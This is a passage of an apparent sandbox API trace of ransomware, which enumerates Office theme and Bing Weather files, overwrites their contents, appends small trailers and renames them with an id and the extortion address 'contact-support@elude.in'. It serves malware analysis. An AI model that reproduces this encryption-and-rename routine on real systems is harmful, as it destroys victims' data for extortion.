ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="REFINED.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFINE~1.FIR")) returned 0x6d51c0 [0254.609] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0254.611] GetProcessHeap () returned 0x630000 [0254.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0254.611] GetProcessHeap () returned 0x630000 [0254.611] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7a60 [0254.611] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.612] ReadFile (in: hFile=0x6d8, lpBuffer=0x6d77d8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesRead=0x3cfff0c*=0x240, lpOverlapped=0x0) returned 1 [0254.636] GetProcessHeap () returned 0x630000 [0254.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0254.636] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.636] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d7a60*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a60*, lpNumberOfBytesWritten=0x3cfff0c*=0x240, lpOverlapped=0x0) returned 1 [0254.637] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.637] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d7c9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7c9f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.637] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.637] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.637] CloseHandle (hObject=0x6d8) returned 1 [0254.637] GetProcessHeap () returned 0x630000 [0254.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7a60 | out: hHeap=0x630000) returned 1 [0254.637] GetProcessHeap () returned 0x630000 [0254.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0254.637] GetProcessHeap () returned 0x630000 [0254.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0254.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5db9edeb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x3cffd20, dwReserved1=0x6d77d8, cFileName="REFINED.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFINE~1.FIR")) returned 0x6d5380 [0254.638] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0254.638] Sleep (dwMilliseconds=0x1) [0254.682] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM", len=0x6e | out: pbstr=0x3cfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM") returned 1 [0254.682] GetProcessHeap () returned 0x630000 [0254.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da0) returned 0x6fe3bb0 [0254.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0254.684] CloseHandle (hObject=0x648) returned 1 [0254.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="REFINED.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFINE~2.FIR")) returned 0x6d4e40 [0254.685] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0254.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0254.685] GetProcessHeap () returned 0x630000 [0254.685] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb321) returned 0x6ec0048 [0254.686] GetProcessHeap () returned 0x630000 [0254.686] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb321) returned 0x706cf78 [0254.686] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.686] ReadFile (in: hFile=0x648, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb300, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x3cfff0c*=0xb300, lpOverlapped=0x0) returned 1 [0259.848] GetProcessHeap () returned 0x630000 [0259.848] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0259.848] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.849] WriteFile (in: hFile=0x648, lpBuffer=0x706cf78*, nNumberOfBytesToWrite=0xb300, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesWritten=0x3cfff0c*=0xb300, lpOverlapped=0x0) returned 1 [0259.849] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.849] WriteFile (in: hFile=0x648, lpBuffer=0x7078277*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078277*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.849] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.849] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.849] CloseHandle (hObject=0x648) returned 1 [0259.849] GetProcessHeap () returned 0x630000 [0259.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0259.850] GetProcessHeap () returned 0x630000 [0259.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0259.850] GetProcessHeap () returned 0x630000 [0259.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0261.224] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60d45c97, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb332, dwReserved0=0xce07496, dwReserved1=0x6ec0040, cFileName="REFINED.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFINE~2.FIR")) returned 0x6d54c0 [0261.225] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0261.225] Sleep (dwMilliseconds=0x1) [0261.234] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\177.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\177.png") returned 1 [0261.234] GetProcessHeap () returned 0x630000 [0261.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd8) returned 0x6fe3bb0 [0261.234] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\177.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\177.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.240] Sleep (dwMilliseconds=0x1) [0261.253] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\6.jpg", len=0x7b | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\6.jpg") returned 1 [0261.253] GetProcessHeap () returned 0x630000 [0261.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd0) returned 0x6fe3bb0 [0261.253] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\6.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\6.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.261] Sleep (dwMilliseconds=0x1) [0262.876] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\10.jpg", len=0x7c | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\10.jpg") returned 1 [0262.876] GetProcessHeap () returned 0x630000 [0262.876] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d84) returned 0x6fe3bb0 [0262.876] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\10.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\10.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.878] Sleep (dwMilliseconds=0x1) [0263.886] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\170.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\170.png") returned 1 [0263.886] GetProcessHeap () returned 0x630000 [0263.886] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cbc) returned 0x6fe3bb0 [0263.887] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\170.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\170.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.889] Sleep (dwMilliseconds=0x1) [0263.897] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\166.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\166.png") returned 1 [0263.897] GetProcessHeap () returned 0x630000 [0263.897] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cac) returned 0x6fe3bb0 [0263.897] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\166.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\166.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.900] Sleep (dwMilliseconds=0x1) [0263.913] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\161.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\161.png") returned 1 [0263.914] GetProcessHeap () returned 0x630000 [0263.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c98) returned 0x6fe3bb0 [0263.915] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\161.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\161.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.916] Sleep (dwMilliseconds=0x1) [0263.929] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\16.png", len=0x79 | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\16.png") returned 1 [0263.929] GetProcessHeap () returned 0x630000 [0263.929] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c90) returned 0x6fe3bb0 [0263.929] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.933] Sleep (dwMilliseconds=0x1) [0263.945] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\158.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\158.png") returned 1 [0263.945] GetProcessHeap () returned 0x630000 [0263.945] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c88) returned 0x6fe3bb0 [0263.945] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\158.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\158.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.947] Sleep (dwMilliseconds=0x1) [0263.960] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\156.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\156.png") returned 1 [0263.960] GetProcessHeap () returned 0x630000 [0263.961] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c80) returned 0x6fe3bb0 [0263.961] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\156.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\156.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.963] Sleep (dwMilliseconds=0x1) [0263.977] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\153.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\153.png") returned 1 [0263.977] GetProcessHeap () returned 0x630000 [0263.977] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c74) returned 0x6fe3bb0 [0263.977] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\153.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\153.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.980] Sleep (dwMilliseconds=0x1) [0263.993] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\151.png", len=0x7a | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\151.png") returned 1 [0263.993] GetProcessHeap () returned 0x630000 [0263.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c6c) returned 0x6fe3bb0 [0263.993] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\151.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\151.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.994] Sleep (dwMilliseconds=0x1) [0264.015] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\15.png", len=0x79 | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\15.png") returned 1 [0264.015] GetProcessHeap () returned 0x630000 [0264.015] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c64) returned 0x6fe3bb0 [0264.015] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\15.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\15.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.018] Sleep (dwMilliseconds=0x1) [0264.030] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\11.png", len=0x79 | out: pbstr=0x3cfff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\11.png") returned 1 [0264.030] GetProcessHeap () returned 0x630000 [0264.030] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c5c) returned 0x6fe3bb0 [0264.031] 